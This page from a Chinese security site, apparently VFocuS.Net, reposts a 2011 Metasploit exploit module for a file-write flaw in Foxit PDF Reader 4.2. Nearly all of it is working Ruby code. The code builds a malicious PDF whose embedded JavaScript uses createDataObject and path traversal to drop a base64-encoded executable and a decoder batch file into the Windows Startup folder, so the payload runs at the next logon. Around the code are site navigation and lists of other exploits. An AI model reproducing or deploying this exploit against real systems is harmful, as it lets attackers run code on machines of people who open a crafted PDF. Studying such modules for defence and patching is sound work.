首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
Foxit PDF Reader 4.2 Javascript File Write
来源:http://www.metasploit.com 作者:bannedit 发布时间:2011-03-16  

##
# $Id: foxit_reader_filewrite.rb 11955 2011-03-14 12:01:55Z swtornio $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = NormalRanking

 include Msf::Exploit::FILEFORMAT
 include Msf::Exploit::EXE
 
 def initialize(info={})
  super(update_info(info,
   'Name'           => 'Foxit PDF Reader 4.2 Javascript File Write',
   'Description'    => %q{
     This module exploits an unsafe Javascript API implemented in Foxit PDF Reader
     version 4.2. The createDataObject() Javascript API function allows for writing
     arbitrary files to the file system. This issue was fixed in version 4.3.1.0218.
     
     Note: This exploit uses the All Users directory currently, which required
     administrator privileges to write to. This means an administrative user has to
     open the file to be successful. Kind of lame but thats how it goes sometimes in
     the world of file write bugs.
   },
   'License'        => MSF_LICENSE,
   'Author'         =>
   [
    'bannedit',  # metasploit module
    'Chris Evans' # Initial discover and exploit
   ],
   'Version'        => '$Revision: 11955 $',
   'References'     =>
    [
     [ 'OSVDB', '71104' ],
     [ 'URL', 'http://scarybeastsecurity.blogspot.com/2011/03/dangerous-file-write-bug-in-foxit-pdf.html' ],
    ],
   'DefaultOptions' =>
    {
     'EXITFUNC' => 'process',
     'DisablePayloadHandler' => 'true',
    },
   'Platform'       => 'win',
   'Targets'        =>
    [
     ['Automatic', { 'auto' => true } ], # uses both
     ['Foxit PDF Reader v4.2 (Windows XP SP0-SP3)', {}],
     ['Foxit PDF Reader v4.2 (Windows Vista/7/8/2008)', {}],
    ],
   'DisclosureDate' => 'Mar 5 2011',
   'DefaultTarget'  => 0))

   register_options([
    OptString.new('FILENAME', [ true, 'The file name.',  'msf.pdf']),
    OptString.new('DECODER', [ true, 'The decoder script.',  'vbs_b64']),
   ], self.class)
 end

 def exploit
  decoder_file = rand_text_alpha(rand(6) + 1)
  payload_file = rand_text_alpha(rand(6) + 1)

  ext = '.b64'
  exe = generate_payload_exe
  payload_b64 = Rex::Text.encode_base64(exe)
  decoder = build_decoder(decoder_file, payload_file)
  path_old = 'c:/Documents and Settings/All Users/Start Menu/Programs/Startup/'
  path_new = 'c:/Users/All Users/Start Menu/Programs/Startup/'
  pdf = %Q|
%PDF 1 0 obj<</Pages 1 0 R /OpenAction 2 0 R>> 2 0 obj<</S /JavaScript /JS (
createDataObject\('#{path_old + "../../../../../WINDOWS/Temp/" + payload_file + ext}', "#{payload_b64}"\);
createDataObject\('#{path_old + decoder_file + '.bat'}', unescape\(\"#{decoder}\"\)\);
createDataObject\('#{path_new + "../../../../../WINDOWS/Temp/" + payload_file + ext}', "#{payload_b64}"\);
createDataObject\('#{path_new + decoder_file + '.bat'}', unescape\(\"#{decoder}\"\)\);) >> trailer<</Root 1 0 R>>|
  file_create(pdf)
 end

 def build_decoder(decoder_file, payload_file)
  file = []
  decoder_bat = Msf::Config.data_directory + "/exploits/cmdstager/"
  case datastore['DECODER']
  when 'vbs_b64_adodb'
   decoder_bat << datastore['DECODER']
  when 'vbs_b64'
   decoder_bat << datastore['DECODER']
  else
   print_status("Selected decoder is incompatible with this exploit.")
   print_status("Defaulting to vbs_b64 decoder.")
   decoder_bat << 'vbs_b64'
  end

  decoder = File.new(decoder_bat, "r").read
  decoder << "cscript //nologo C:/Windows/Temp/" + decoder_file + '.vbs'

  decoder.gsub!(/\"/, '\"')
  decoder.gsub!(/\n/, " && ")
  decoder.gsub!(/ENCODED/, "C:/Windows/Temp/" + payload_file + '.b64') # payload.b64
  decoder.gsub!(/DECODED/, "C:/Windows/Temp/" + payload_file + '.exe') # payload.exe
  decoder.gsub!(/decode_stub/, "C:/Windows/Temp/" + decoder_file + '.vbs')

  return decoder = Rex::Text.uri_encode(decoder)
  end
end


 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Opera 11.01 NULL PTR Derefernc
·ABBS Electronic Flash Cards 2.
·If-CMS 2.07 Pre-Auth Local Fil
·ABBS Audio Media Player 3.0 .l
·Android 2.0 ,2.1, 2.1.1 WebKit
·HP OpenView Performance Insigh
·Linux <= 2.6.37-rc1 serial_cor
·Adobe ColdFusion - Directory T
·checkview v1.1 for iPhone / iP
·AVIPreview 0.26 Alpha Denial o
·Kolibri <= v2.0 HTTP Server HE
·Sun Java Applet2ClassLoader Re
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved